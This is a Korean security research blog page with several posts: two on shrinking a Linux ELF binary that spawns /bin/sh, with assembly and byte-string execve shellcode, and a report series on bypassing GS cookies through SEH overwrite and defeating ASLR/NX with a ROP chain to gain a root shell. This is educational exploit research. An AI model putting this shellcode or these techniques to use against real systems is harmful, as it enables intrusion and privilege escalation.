1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


지난번에 다루었던 1. Linux ELF Binary Hack #1 (언어론적 고찰)편에서는 단순히 프로그래밍 언어에 한정하여 파일의 크기를 줄이는 시도를 했었다면 이번에는 실행파일 구조의 특성과 툴을 사용하는 방법들을 통해 접근해보고자 합니다.


먼저 ELF 파일 포멧을 알아보는 툴로 objdump라는 툴이 있습니다.

해당 툴을 이용해 ELF 파일 포멧 구조를 대강 알 수 있는데, 다음과 같이 활용 해 볼 수 있습니다.


[그림 1] objdump툴의 -S 옵션으로 바이너리 분석


위 그림은 objdump툴로 디스어셈블(Disassemble)해 본 화면입니다.

main 함수의 주소는 0x08048374이며, _start 영역에서 해당 main 함수의 주소를 stack에 저장하는 것을 볼 수 있습니다.

이러한 과정은 왜 거치는 것일까요?

다음 Link에는 Linux에서 main 함수가 어떻게 실행되는지 간략하게 설명되어 있습니다. 참조하시면 도움이 되실 듯 합니다.


http://www.tldp.org/LDP/LGNET/issue84/hawk.htmlHow main() is executed on Linux By Hyouck "Hawk" Kim


objdump 툴을 사용해 _start 함수의 정보를 알아내고 해당 주소가 바이너리의 어느 부분에 존재하는지 찾아보았습니다. 


[그림 2] 바이너리 파일 내에 존재하는 start 함수 주소


해당 내용을 조금 더 자세하게 확인하기 위해 ELF 파일포멧의 구조체가 정의된 헤더파일을 참조해 보았습니다.


[그림 3] ELF 정의 구조체와 실제 바이너리 파일 비교


ELF 파일 포멧의 구조들을 확인 한 후 프로그램 시작점을 main 함수 대신 _start 함수로 정의하면 어떨까 생각해 보았습니다.

다음은 main 을 함수의 시작으로 정의하지 않고 _start를 프로그램의 시작으로 정의하여 Assembly 소스코드를 작성하고 컴파일 해 보았습니다.


[그림 4] gcc 컴파일러의 -nostdlib 옵션 사용


처음 시도 시, _start 함수에 대해 "다중 정의 에러"라고 컴파일 되지 않았던 문제는 gcc 의 -nostdlib 옵션을 사용해 컴파일 한 결과 정상적으로 컴파일 및 실행이 되는 것을 확인 할 수 있습니다.

gcc 의 -nostdlib 옵션에 대해 man 페이지는 다음과 같이 설명되어 있습니다.


       -nostdlib

           Do not use the standard system startup files or libraries when

           linking.  No startup files and only the libraries you specify will

           be passed to the linker.  The compiler may generate calls to "mem-

           cmp", "memset", "memcpy" and "memmove".  These entries are usually

           resolved by entries in libc.  These entry points should be supplied

           through some other mechanism when this option is specified.


           One of the standard libraries bypassed by -nostdlib and -nodefault-

           libs is libgcc.a, a library of internal subroutines that GCC uses

           to overcome shortcomings of particular machines, or special needs

           for some languages.


           In most cases, you need libgcc.a even when you want to avoid other

           standard libraries.  In other words, when you specify -nostdlib or

           -nodefaultlibs you should usually specify -lgcc as well.  This

           ensures that you have no unresolved references to internal GCC

           library subroutines.  (For example, __main, used to ensure C++ con-

           structors will be called.)


대략적으로 gcc의 -nostdlib 옵션을 사용하여 컴파일 하는 경우 링크 시에 기본적인 시스템 초기 라이브러리들을 링크하지 않는다는 내용입니다. 따라서 기존에 _start가 정의되어 있던 라이브러리는 배제하고 Object 파일을 생성할 수 있고, "다중 정의 에러"를 회피 할 수 있습니다.

결과적으로 main 대신 _start를 프로그램 시작점으로 사용하고 기본 라이브러리를 배제하는 형태로 472바이트의 쉘 실행 바이너리를 만들어 낼 수 있었습니다.

여기서 조금 더 욕심을 내어 shellcode 작성과 같이 NUL문자(0x00)를 제거하는 형태로 수정해 보기로 하였습니다.


[그림 5] Assembly 상태의 0x00 코드 제거


수정을 해 보았지만 파일 크기에 큰 변화가 있지는 않았습니다.

마지막으로 조금 더 바이너리를 작게 만들기 위해 극단적인 시나리오를 생각해 보았습니다.


"이미 쉘 실행이 되어 있는 상태는 메모리에 프로세스 이미지로 존재하는 상태이므로, 이후 정리작업에 필요한 코드를 삭제해보자"


따라서 기존 바이너리에서 쉘 실행 이후 사용될 법한 부분들을 삭제해보기로 하였습니다.


[그림 6] dd로 바이너리 파일 쪼개기


쉘 실행에 필요한 부분은 int 0x80 (0xCD 0x80)까지 이므로, 이후의 내용은 모조리 날려보았습니다.

그렇게 하여 109바이트짜리 Linux 실행 파일이 만들어졌고, 정상적으로 동작하는 것도 확인 할 수 있었습니다. 


이러한 실행파일이 절대 정상적으로 만들어진 실행파일이라고 볼수는 없지만, 서버 내부에 컴파일이 안되는 환경이나 기존에 의도한 동작을 수행하는 바이너리를 생성하도록 만든 exploit을 만들 시, 코드 형태로 쉽게 만들 수 있는 등의 용도로 활용될 수 있습니다.

더욱이 이러한 작업(혹은 삽질?^^;)들을 통해 개인의 지식이 발전함은 말할 나위 없겠지요...


이상 Linux기반에서 바이너리 파일의 크기를 줄이기 위한 삽질기였습니다.


아무튼 많이 쌀쌀해진 날씨에 감기 조심하시고 이러한 보잘것 없는 삽질기라도 읽어주셔서 감사합니다. ^^

더욱 발전하는 TeamCR@K이 되겠습니다. 

감사합니다.

저작자 표시 비영리 변경 금지
신고


1. Linux ELF Binary Hack #1 (언어론적 고찰)

2. Linux ELF Binary Hack #2 (구조론적 고찰)


웹 어플리케이션을 타겟으로 한 공격을 방지하도록 만든 웹 방화벽(Web Application Firewall), 침입탐지시스템(Indrusion Detection System)에서 출발하여 이제는 탐지와 방지를 겸하는 침입방지시스템(Intrusion Prevention System)까지...

공격기법만 발전하는것이 아니라 그에 비례하여 보안장비 및 정책 또한 발전이 계속되고 있는데요..

웹 방화벽이나 침입방지시스템에서 공격을 탐지하기 위해 사용되는 패턴은 계속 업데이트 되고 있으며, 이러한 보안정책들을 우회하는 기법 또한 다양하게 발전하고 있습니다.


침입탐지시스템을 NIDS(Network based Intrusion Detection System)으로 구성할 것이냐 HIDS(Host based Intrusion Detection System)으로 구성할 것이냐를 놓고 보안 실무자들이 고민하던 시절, 탐지 패턴을 우회하기 위해 고민을 했던 사람들도 있었습니다. PTer (Penetration Tester)라고 부르며, 현재의 모의해킹을 수행하는 컨설턴트를 일컫는 말이었습니다.

IDS 탐지 패턴의 경우 Remote Buffer Overflow 공격에 많이 사용됐던 NOP 코드(0x90)를 추가하거나, x86 기반 shellcode에서 시스템 콜을 실행하기 위해 반드시 필요한 int 0x80(0xCD 0x80)을 추가하기도 했었습니다.

또한 이러한 패턴들을 우회하기 위해 Encoding 된 shellcode를 사용하는 우회기법부터 stack 상 code 실행을 불가하게 만든 시스템을 우회하기 위해 ROP를 구성하여 Exploit을 하는 기법까지 다양한 우회기법이 존재합니다.

이렇게 만들어진 shellcode들은 Programming Hack을 통해 가능한 작게 만들어지도록 변경되기도 하였습니다.

한 때에는 이러한 Hack을 개인프로젝트로 했었는데 이번에는 잠시 그에 대해 공유해볼까 합니다.

Hack의 목적은 "리눅스 바이너리 파일의 크기 줄이기"이고, 해당 주제를 프로그래밍 언어의 관점과 바이너리의 구조적 특성 및 변조 툴을 이용할 수 있는 관점. 두 가지 관점에서 정리해 보도록 하겠습니다.


Hack을 시도하려는 대상은 다음의 소스코드를 Compile한 바이너리 파일입니다.

/*

* 0.c

*/

#include <stdio.h>

#include <unistd.h>


int main(void)

{

        char *sh[2] = { "/bin/sh", NULL };


        execve(sh[0], sh, NULL);

        return 0;

}


/bin/sh 경로의 쉘을 실행시키도록 되어 있는 C언어로 만들어진 소스코드입니다.

해당 소스코드를 컴파일 하면 다음과 같이 정상적으로 쉘을 실행시키는 모습을 볼 수 있습니다.


[그림 1]  0.c 컴파일 후 실행 화면


여기서 잠깐, 구조론적 관점인 것 같지만 여러분들은 컴파일러를 사용해 바이너리 파일을 생성할 때, 내부적으로 어떻게 만들어지는지 아시나요?

gcc를 예로 든다면, 다음의 과정을 거치는 것을 확인할 수 있습니다.


1. C언어 소스코드를 Assembly 소스코드로 변환

2. 변환된 Assembly 소스코드를 사용해 Object 파일 생성

3. 생성된 Object 파일과 기본 라이브러리를 링크하여 실행 가능한 파일(Executable File) 생성


C언어는 사람이 이해하거나 유지보수가 가능하도록 High-Level 형태로 구조화 한 프로그래밍 언어이고, 이를 컴파일러(Compiler)라는 매개체를 사용해 실행 가능한 파일(Executable File)로 만들게 되어 있습니다.

다음 그림은 실제 gcc 컴파일러를 사용해 C언어 소스코드가 실행 파일로 변환되는 과정을 system call tracer로 분석 해 본 화면입니다. 


[그림 2]  gcc 컴파일러의 내부 동작


위 그림을 보면 C언어로 만들어진 소스코드가 cc1 명령어를 통해 확장자 *.s를 가진 파일을 생성한 후, as를 통해 Object 파일을 생성하는 것을 볼 수 있습니다.

또한 *.s 확장자를 가진 파일을 살펴보면, Assembly 언어의 파일임을 알 수 있습니다.


[그림 3]  cc1으로 0.c 파일의 Assembly 코드 생성


그렇다면, 처음부터 C언어가 아닌 Assembly 언어 상태의 파일을 컴파일 하면 바이너리 파일의 크기를 줄일 수 있지 않을까 생각해 봅니다.

다음은 /bin/sh의 쉘을 실행시키는 shellcode를 만들 때 사용되는 Assembly 소스코드입니다.

# 1.s

.globl main


main:

    xorl    %edx, %edx

    push    %edx

    push    $0x68732f6e

    push    $0x69622f2f

    movl    %esp, %ebx

    push    %edx

    push    %ebx

    movl    %esp, %ecx

    movl    $0x0b, %eax

    int     $0x80


위 코드를 컴파일 해서 실행해보면 정상적으로 실행되며, 파일의 크기 역시 기존 파일보다 작아진 것을 확인 할 수 있습니다.


[그림 4]  C코드와 Assembly코드의 컴파일 결과 비교


만약 위 Assembly 소스코드를 Exploit 할 때와 같이 shellcode 형태로 만들어 실행하면 파일의 크기도 조금 달라지겠죠.

이를 확인해보도록 합니다.


/*

* 2.c

*/

/*

08048374 <main>:

 8048374:       31 d2                   xor    %edx,%edx

 8048376:       52                      push   %edx

 8048377:       68 6e 2f 73 68          push   $0x68732f6e

 804837c:       68 2f 2f 62 69          push   $0x69622f2f

 8048381:       89 e3                   mov    %esp,%ebx

 8048383:       52                      push   %edx

 8048384:       53                      push   %ebx

 8048385:       89 e1                   mov    %esp,%ecx

 8048387:       89 d0                   mov    %edx,%eax

 8048389:       b0 0b                   mov    $0xb,%al

 804838b:       cd 80                   int    $0x80

*/

char shellcode[] =

        "\x31\xD2\x52\x68\x6E\x2F\x73\x68\x68\x2F"

        "\x2F\x62\x69\x89\xE3\x52\x53\x89\xE1\x89"

        "\xD0\xB0\x0B\xCD\x80";


int main(void)

{

        void(*f)(void) = shellcode;

        f();

        return 0;

}



[그림 5]  최종 컴파일 결과 비교


Assembly 코드를 objdump라는 툴을 이용하여 기계어로 뽑아낸 다음, 이를 변수화 하여 함수 포인터(Function Pointer)형태로 실행시키는 소스코드입니다.

Stack 실행 방지 기능으로 인해 -z execstack 옵션을 추가하여 재 컴파일 한 후에 정상적으로 쉘이 실행되는 것을 볼 수 있었습니다. 

그러나 Assembly 코드보다는 실행파일의 크기가 조금 커진것을 확인할 수 있습니다.


위 결과에서 보듯 파일의 크기는 C언어 > 함수 포인터를 사용하여 실행하는 shellcode > Assembly 순입니다.

전체적으로 보면 더 고칠 수 있는 부분이 있는 것 같습니다.

또한 겨우 몇 바이트 줄이기 위해 이런 삽질을 해야 하는가 하는 생각까지 들기도 합니다.

그래서 다음에는 실행파일 구조의 특성을 이용하거나 관련 툴을 사용하여 파일의 크기를 변조하도록 시도해보려고 합니다.

해당 방법을 사용하면 Linux ELF 실행파일의 크기가 획기적으로 작아지는 것을 확인하실 수 있습니다.


다음 2. Linux ELF Binary Hack #2 (구조론적 고찰) 편을 기대해주세요.


감사합니다.

저작자 표시 비영리 변경 금지
신고
 

메모리 보호기법 우회 연구분석보고서 -3-


By. eloi@a3sc.co.kr
(A.K.A eloi)

jtsong@a3sc.co.kr
(A.K.A trynerr)


본 문서는 Stack Overflow 보호기법과 이를 우회하는 방법에 대하여 작성하였습니다. 해당 내용과 테스트 결과가 많은 관계로아래와 같은 주제로 3회에 걸쳐 연재합니다.
 

1. 'Windows/Linux 환경에서의 Stack Overflow 보호기법'
2. 'ROP(Return Oriented Programming) Exploit'
3. 'SEH(Structed Exception Handling) Overwrite' 




SEH(Structed Exception Handling) Overwrite

1. GS 우회 가능성
GS 옵션으로 컴파일 , 스택상으론 cookie변수가 buf변수 다음 위치하게 됩니다. 따라서 공격자가 BOF 공격시 스택내에 존재하는 cookie 값을 변조하기 때문에 프로그램은 .data 영역에 있는 cookie 값과의 비교를 통하여 비교결과를 통하여 BOF 공격을 감지합니다. 하지만 .data 영역은 쓰기 권한이 있는 영역이기 때문에 RET 앞에 존재하는 cookie 값과 .data 영역에 존재하는 cookie 값을 동일한 값으로 덮어쓰게된다면 우회가 가능합니다.

다음
화면은 GS cookie 테스트 검증을 하기 위해 Window XP SP1, Visual Studio .NET 2003 상에서 BOF 공격에 취약한 소스에서 GS 옵션만 설정한 , 컴파일 화면입니다.

[그림 1] GS 옵션 설정


 

[그림 2] BOF 취약한 소스코드

 

다음 화면은 해당 프로그램을 디스어셈블리 , security cookie 확인하는 화면입니다. Cookie 값이 설정 , ebp-4 부분에 복사되는 것을 확인 있습니다. 이는 Buffer RET 사이에 cookie 존재한다는 것을 의미합니다.

[그림 3] cookie 확인

 

다음 화면은 프로그램 상에서 인자값을 “1234567890ABCDEF” 입력한 , 분석을 시도하는 화면입니다. 프로그램에서 10바이트의 스택 공간을 할당하므로, BOF 시도하여 분석을 하는 상황입니다.

[그림 4] 프로그램 실행

 

프로그램의 시작 부분에서 디스어셈블리 코드 상에서 확인한 security cookie 구간을 확인 가능합니다.

[그림 5] security cookie

 

XOR 연산 후에 레지스터에 저장되는 것을 확인 가능합니다.

[그림 6] XOR 연산

 

다음 화면은 .data 영역에 존재하는 cookie 값과  스택상에서 xor 연산된 cookie 값을 비교하는 화면입니다. 비교값이 같은 경우 에러는 발생하지 않습니다.

[그림 7] cookie 비교


 

2. SEH Overwrite(GS 우회)
GS 우회하는 대표적인 방법으로 SEH Overwrite 있습니다. 방법은 함수 Epilogue Security Cookie값을 비교하기 전에 Exception 발생시켜 실행흐름을 변경, GS Check 우회하는 방법입니다. Exception 발생시키기 위해서는 소스코드상에서 반드시 try-catch 문이 사용되어야만 합니다.

 

SEH Overwrite 스택의 이전 RET영역까지 덮어 씌우는 것이 아닌 스택에 자리잡고 있는 EXCEPTION_RECORD 구조체의 _handler 부분까지만 덮어씌우게 되기 때문에 sfp ret값은 아래와 같이 변경되지 않습니다.

 

 [그림 8] SEH Overwrite 개념도

 

[그림 9] 같이 _EXCEPTION_RECORD(이하 ER) _next _handler 구성됩니다.  _next 다음 ER 위치를 가리키고 있는 싱글리스트 형태이며, _handler 해당 Exception 발생하였을 수행되는 코드의 위치가 저장되어 있습니다. ER 상황에 맞는 다양한 Exception 처리를 위해 다수의 리스트형태(SEH Chain) 구성됩니다.

 

 [그림 9] SEH 구조

 

Exception 발생하게 되면 _exception_handler 함수가 호출 됩니다. 호출 스택구성은 다음과 같이 구성 되며 _handler 지정했던 주소가 내부적인 메커니즘(call ecx) 의해 명령이 실행됩니다.

 

우선 생각해 공격 시나리오는 _handler 주소를 원하는 shellcode 영역으로 직접 가리켜 shell 실행시키는 방법이 있습니다. 방법은 Windows 2003에서부터 SEH 수정되어 등록된 Load Configuration Directory외에 다른 위치의 주소가 가리켜져 있다면 handler 실행하지 않는 것으로 바뀌었기 때문에 공격이 성공할 없습니다. 그래서 다른 시나리오를 생각해 봐야 합니다.

 

하지만 수정된 SEH Load Configuaration Directory외에 외부 모듈(DLL) 대한 명령어에 대해서는 handler 실행이 허용된다는 것입니다.  이를 이용하여 shellcode 직접 가리키지 않고 간접적으로 호출하여 특정 스택 부분으로 이동, jmp코르를 사용해서 shellcode 호출하는 pop-pop-ret, jmp 사용하는 방법으로 진행하겠습니다.

 

 [그림 10] 공격코드 삽입시 스택 구조

 

공격코드가 삽입된 [그림 10] 같이 실행순서가 ~ 순서로 진행됩니다.  pop-pop-ret 명령이 실행하면서 esp+8 위치까지 올라가게되고 Exception 발생하기 전에 위치가 저장되어있는 _EstablisherFrame 부분( 위치)에서 ret명령이 실행되면서 위치로 옮겨지게 됩니다. 위치에 있는 명령어 코드가 실행되게되는데 OPCODE eb 10(jmp short eip+16) 실행되면서 위치로 옮겨지게 되고 shellcode 실행됩니다.

 

공격 시나리오는 Windows XP 영문판, 개발환경은 Visualstudio 2003에서 테스트 하였습니다.

 

다음과 같이 취약한 소스코드를 작성하여 SEH Overwrite 확인해보겠습니다.

 [그림 11] 취약점이 존재하는 소스코드

 

취약점이 존재하는 소스코드는 strcpy 함수 호출 이후 주소 0번지에 문자를 대입하여 Exception 발생하도록 유도하였습니다.

 

프로젝트 옵션에서 Buffer Security Check(GS) 설정하여 Security Cookie 삽입되도록 하였습니다.

 [그림 12] GS 옵션 설정

 

인자값으로 스트링 100개를 삽입하게되면 Security Cookie 덮어씌우게 되고 체크로직으로 인해서 Buffer 넘쳤다는 오류 메시지가 발생합니다.

 [그림 13] Buffer overrun detected!

 

동일한 인자값으로 OllyDBG 이용하여 스택에 어느부분까지 덮어씌우는지 확인해보았습니다. 우리가 공략하려는 _prev _handler 부분까지 덮어씌우려면 아직 12 Byte 부족합니다.

 [그림 14] Buffer Overflow 위치 확인

 

12 Byte 채우고 확인해보았습니다. _handler부분이 덮어씌어지고 42424242값이 EIP 값이 변경되어 실행되었고 42424242 번지는 존재하지 않는 부분이기 때문에 Error 메시지가 발생합니다.

 [그림 15] Buffer Overflow 위치 확인#2

 

이제 공격 코드를 구성하기 위해 필요한 pop-pop-ret(Gadget) 찾아보겠습니다. 현재 Process 아닌 DLL영역의 검색해야하기 때문에 findjmp 이용하여 검색하였습니다.

[그림 16] pop-pop-ret 검색

 

Exploit 사용될 공격 코드는 다음과 같은 형태로 삽입됩니다.

 [그림 17] 공격 Payload

 

앞서 설명했던 공격 시나리오와 위에 공격 Payload 형태로 Exploit 작성하여 공격해보았습니다.

 [그림 18] Exploit 작성

 

OllyDBG 계산했던 _prev _handler 위치를 인자값으로 입력하여 공격하면 다음과 같이 shell 실행됩니다.

 [그림 19] 공격 성공

 

SEH Overwrite 이용하여 GS 우회하였습니다. 하지만 이런 공격방법이 성공하자 MS SafeSEH 기술을 적용합니다. 다음 화면은 Window 상에서 메모리 보호 기법에 대한 관계도 입니다.

[그림 20] Window 메모리 보호기법

 

이는 SEH Chain 대한 Validation Check 수행하게 되는데 SafeSEH기술이 적용된 프로그램은 위와 같은 공격은 무용지물이 됩니다. 하지만 SafeSEH 또한 우회하는 기술이 발표되었습니다. 연속적으로 jmp명령을 여러번 수행하여 원하는 쉘코드로 향하게 하는 방법입니다. 부분에 대해서는 시간상 추후 연구 과제로 남겨둡니다.


참고 URL

1.   http://msdn.microsoft.com

2.   http://x82.inetcop.org/

3.   http://nchovy.kr/forum/5/article/377

4.   http://en.wikipedia.org/wiki/Buffer_overflow_protection

5.   http://ko.wikipedia.org/wiki/버퍼 오버플로우

6.   http://lucid7.egloos.com/

7.   http://uptx.egloos.com/

 

 

참고 문헌

1.   poc09-sotirov.pdf(POC 2009 발표자료)

2.   BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_expl.pdf

(BlackHat 2010 USA 발표자료)

3.   Linux Memory Protectiion Mechanism

4.   bh08sotirovdowd.pdf(BlackHat 2008 발표자료)

5.   BOF_공격방지_매커니즘_구현의_최신_동향.pdf

6.   http://www.shell-storm.org/papers/files/732.pdf

7.   www.phreedom.org/presentations/reverse.../reverse-engineering-ani.pdf

8.   CanSecWest2010 – SEH Overwrite, Shuichiro Suzuki

9.   Windows 구조와 원리 (OS를 관통하는 프로그래밍 원리) - 정덕영



저작자 표시 비영리 변경 금지
신고
 

메모리 보호기법 우회 연구분석보고서 -2-


By. eloi@a3sc.co.kr
(A.K.A eloi)

jtsong@a3sc.co.kr
(A.K.A trynerr)


본 문서는 Stack Overflow 보호기법과 이를 우회하는 방법에 대하여 작성하였습니다. 해당 내용과 테스트 결과가 많은 관계로아래와 같은 주제로 3회에 걸쳐 연재하도록 하겠습니다.
 

1. 'Windows/Linux 환경에서의 Stack Overflow 보호기법'
2. 'ROP(Return Oriented Programming) Exploit'
3. 'SEH(Structed Exception Handling) Overwrite' 




ROP(Return Oriented Programming) Exploit

1. ROP(Return Oriented Programming)
ROP(Return Oriented Programming)는 취약한 프로그램 내부에 있는 기계어 코드 섹션들(Gadget)을 이용하여 BOF공격 시 특정 명령을 실행시키는 방법을 말합니다. 보통 Gadget은 함수 끝에 기술되어있는 ret 명령어를 포함, 상위 몇가지 명령어들의 집합이며 이를 이용하여 단한번의 실패없이 한번에 공격을 성공할 수 있습니다

                                                          [그림 1] Gadget #1

                                                          [그림 2] Gadget #2

이러한 ROP는 ASLR, DEP/NX, ASCII-Armor 메모리 보호기법들을 우회할 수 있기 때문에 Fedora core 13(kernel 2.6.33.3-85)에서 BOF공격이 가능합니다.

ROP는 RTL, Chaining RTL calls, GOT overwrite의 3가지 특징적인 기술을 사용합니다.

(1) RTL(Return to libc)
스택에 있는 리턴 주소를 특정 라이브러리 주소와 이에 알맞은 인자 구성을 하여 공격하는 방법을 Return-to-libc 공격이라고도 부릅니다. 특정 프로그램(/bin/sh)을 실행 하기 위하여 system(), exec*() 등과 같은 함수를 사용하여 관리자 권한의 쉘을 획득합니다.

다음은 RTL 공격 전후의 스택구조를 나타낸 그림입니다.

                                                          [그림 3] RTL 개념도

DEP/NX의 보호기법으로 인해 스택영역에 코드를 삽입하여 공격하는 고전적인 쉘코드 삽입방법은 무용지물이 되었습니다. 하지만 이러한 RTL 공격기법을 이용하여 코드 삽입 방법이 아닌 함수를 직접 호출하는 RTL 방법으로 우회할 수 있습니다.
이러한 방법은 DEP/NX + ASLR 보호 기법이 적용되면서 공격이 어렵게 됩니다. 라이브러리 로딩 순서가 바뀌거나, 부팅할 때마다 이미지 적재 위치가 바뀌게 되면 임의의 리턴 주소를 찍어 맞춰야 하기 때문에 사실상 공격이 어려워집니다.

(2) Chaining RTL calls
Chaining RTL calls 기법은 RTL 공격을 연속적으로 일어나게 스택을 구성하여 공격하는 방법을 말합니다. pop-pop-ret 과 같은 명령어를 이용하여 스택의 인자 참조 영역을 지나치고 다음 함수주소로 이동, 연속적으로 함수를 호출할 수 있습니다.

다음은 Chaining RTL calls의 구성을 나타낸 화면입니다. 아래와 같이 스택이 구성된다면 연속적인 함수 호출이 가능합니다.

                                                          [그림 4] Chaining RTL calls 개념도

(3) GOT(Global Offset Table) Overwrite
GOT Overwrite는 libc.so 내에 실제 함수 주소를 저장해 놓은 공간인 GOT에 특정 함수의 GOT 값을 변경하여 원하는 함수가 실행되게 하는 방법입니다. 예를 들어 printf 함수의 GOT값(실제 함수 주소)을 execve 함수의 주소로 변경하게 된다면 printf 함수가 수행될 때 printf가 호출되는 것이 아닌 execve함수가 호출되게 되는 것을 말합니다.

다음은 PLT에서 GOT의 흐름과 실제 함수 주소를 확인하는 화면입니다.

                                                          [그림 5] PLT, GOT 흐름도

2. ROP 시나리오
ROP 시나리오는 Stage-1과 Stage-0으로 구분됩니다. Stage-1에서는 ROP 공격을 위한 Payload가 구성되며 Stage-0에서는 Stage-1에서 구성된 Payload를 특정 스택 영역에 복사하기 위한 strcpy 함수의 Chaining RTL calls가 구성됩니다.

(1) Stage-1
Stage-1은 GOT Overwrite로 실행 함수(exec* 계열)나 getreuid함수를 호출하게 합니다. 하지만 ASLR 보호기법으로 인해 직접적인 함수 주소를 overwrite를 할 수 없기 때문에 add operation gadget을 이용하여 함수간 offset을 add operation으로 계산하여 원하는 함수가 호출되게 합니다.

다음은 execve 함수와 printf 함수의 주소 그리고 이들간에 offset값을 나타낸 화면입니다.

                                                          [그림 6] execve, printf 함수 주소

offset = execve() - printf()
execve() = printf() + offset
execve() = 0x94ee40
printf() = 0x8fad30
offset = 0x54110


다음은 Stage-1애서 GOT Overwrite를 하기위한 스택구조를 나타낸 화면입니다.

                                                          [그림 7] GOT Overwrite가 일어나는 스택구조

ecx 레지스터에 해당 offset 값을 넣어두고 add operation gadget의 명령에 맞춰 5b042464를 빼준 값을 ebp에 넣어둡니다. 해당 명령이 실행될 때에 ebp와 5b042464값이 더해지게 되어 printf함수의 주소로 바뀌게 되고 이를 ecx(offset)와 더하면서 printf 함수의 GOT 값이 execve 함수의 주소로 바뀌게 됩니다. 마지막으로 printf의 PLT값이 호출되면서 execve함수가 수행되는 방식으로 진행됩니다.

(2) Stage-0
Stage-1에서는 Stage-0에서 구성된 Payload를 실행은 되지 않지만 메모리 주소가 변하지 않는 특정 custom stack영역에 복사를 수행합니다. 여기서는 앞서 설명한 Chaining RTL calls를 이용하여 반복적으로 strcpy 함수를 호출하게 되는데 이는 부분 부분 흩어져 있는 특정 문자열들을 모아서 Stage-0 Payload에 맞게 구성해야 하기 때문입니다. 이와 같은 작업을 하는 이유는 Stage-1에서 존재하는 NULL byte(0x00) 이후의 값을 strcpy 함수로 복사할 수 없기 때문이며, 원하는 기능을 수행하기 위해서 ebp의 값을 원하는 위치에 놓이게 하기 위해서 입니다.

3. ROP Exploitation
ROP Exploit은 Fedora Core 13에서 수행하였습니다. 일반적인 BOF는 수동으로 공격을 수행하기도 하지만 ROP Exploit을 수동으로 구성하는 것은 효율적이지 않습니다. 다양한 gadget들을 모아야하며 Stage-1을 구성하기 위해 사용되는 수많은 코드들 또한 모아야 하기 때문에 오랜시간이 소비됩니다. 이 때문에 ROP는 자동화된 공격도구를 사용하게 됩니다. 앞으로의 예제는 공격코드가 구성되는 gadget과 Stage-1과 Stage-0를 쉽게 구성하기 위해 BlackHat 2010에서 소개되었던 ROPEME(ROP Exploit Made Easy)를 이용하였습니다.

다음은 BOF 취약점이 존재하는 프로그램 소스코드 입니다. strcpy함수로 인해 BOF가 일어나게 됩니다.

                                                          [그림 8] BOF 취약점이 존재하는 프로그램

다음은 ROPEME에서 제공하는 ropshell을 이용하여 해당 gadget들을 찾는 화면입니다.

                                                          [그림 9] ropshell을 이용한 gadget 검색

다음은 Stage-1이 놓이게될 custom stack 영역을 찾는 화면입니다. 주소값이 변하지 않는 .bss 영역을 지정하게 됩니다. 정확한 위치는 사용하고 있는 8byte를 지난 bss+8 영역이 됩니다.

                                                          [그림 10] custom stack이 놓이게 될 위치

gadget들과 custom stack의 위치를 찾게되면 이를 이용하여 exploit합니다. 다음은 exploit 코드 화면입니다.

                                                          [그림 11] exploit #1
                                                          [그림 12] exploit #2

exploit은 지정된 gadget들을 참조하여 stage-1과 stage-0를 구성합니다. ret의 주소를 70번 삽입하고 그 이후 stage-0를 구성하는 형태로 공격이 진행됩니다.

다음은 이를 이용하여 관리자 권한을 획득하는 화면입니다.

                                                          [그림 13] exploit #3

exploit에서 구성된 공격코드를 추출하여 분석결과 ret 이후 strcpy 함수의 Chaining RTL calls로 구성합니다. 또한 stage-0을 구성할 시에 쓰이는 문자열들은 취약한 프로그램 코드를 검색하여 수집합니다.

다음은 exploit상에서 출력되는 Stage-1과 Stage-0의 구성화면입니다.

                                                          [그림 14] Stage-1 Payload
                                                          [그림 15] Stage-0 Payload

다음은 공격코드를 추출하여 Stage-0의 strcpy의 호출과 복사 위치를 확인하는 화면입니다.

                                                          [그림 16] Stage-0의 strcpy 복사 위치 확인 #1

위와 같이 Stage-1을 구성하기위해 custom stack위치에 특정 문자열을 반복적으로 복사하는 것을 확인 할 수 있습니다.

다음은 이해를 쉽게하기 위해 실제 디비거 상에서 source위치를 확인하는 화면입니다.

                                                          [그림 17] Stage-0의 strcpy 복사 위치 확인 #2

다음은 Stage-1의 Payload 입니다. 복사되는 문자열이 Stage-1의 값이라는 것을 확인할 수 있습니다.

                                                          [그림 18] Stage-0의 strcpy 복사 위치 확인 #3

Stage-1이 일어나는 액션은 다음과 같습니다. 취약한 프로그램의 getuid함수의 GOT를 Overwrite하여 setreuid() 함수로 root권한을 상속받고 setreuid() GOT를 다시 execvp함수로 Overwrite하여 shell을 실행하는 순서로 진행합니다.

                                                          [그림 19] Stage-1의 액션 확인

위에서 설명했던 액션을 대략적으로 스택에 반영하여 확인하면 다음과 같습니다.

                                                          [그림 20] Stage-1 스택 구성도

다음은 추출한 공격코드들을 수동으로 수행하는 화면입니다.

                                                          [그림 21] 추출한 Payload로 수동공격

다음은 trace 명령으로 해당 공격코드를 삽입하여 strcpy함수를 연속적으로 호출하고 있는것을 확인하는 화면입니다. 정상함수 수행 후 BOF되어 strcpy함수를 연속적으로 호출하는 것을 확인할 수 있습니다.

                                                          [그림 22] trace 명령으로 함수 호출 확인#1

                                                          [그림 23] trace 명령으로 함수 호출 확인#2




참고 URL

1.   http://msdn.microsoft.com

2.   http://x82.inetcop.org/

3.   http://nchovy.kr/forum/5/article/377

4.   http://en.wikipedia.org/wiki/Buffer_overflow_protection

5.   http://ko.wikipedia.org/wiki/버퍼 오버플로우

6.   http://lucid7.egloos.com/

7.   http://uptx.egloos.com/

 

 

참고 문헌

1.   poc09-sotirov.pdf(POC 2009 발표자료)

2.   BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_expl.pdf

(BlackHat 2010 USA 발표자료)

3.   Linux Memory Protectiion Mechanism

4.   bh08sotirovdowd.pdf(BlackHat 2008 발표자료)

5.   BOF_공격방지_매커니즘_구현의_최신_동향.pdf

6.   http://www.shell-storm.org/papers/files/732.pdf

7.   www.phreedom.org/presentations/reverse.../reverse-engineering-ani.pdf

8.   CanSecWest2010 – SEH Overwrite, Shuichiro Suzuki

9.   Windows 구조와 원리 (OS를 관통하는 프로그래밍 원리) - 정덕영



저작자 표시 비영리 변경 금지
신고
 

메모리 보호기법 우회 연구분석보고서 -1-


By. eloi@a3sc.co.kr
(A.K.A eloi)

jtsong@a3sc.co.kr
(A.K.A trynerr)


본 문서는 Stack Overflow 보호기법과 이를 우회하는 방법에 대하여 작성하였습니다. 해당 내용과 테스트 결과가 많은 관계로아래와 같은 주제로 3회에 걸쳐 연재하도록 하겠습니다.
 

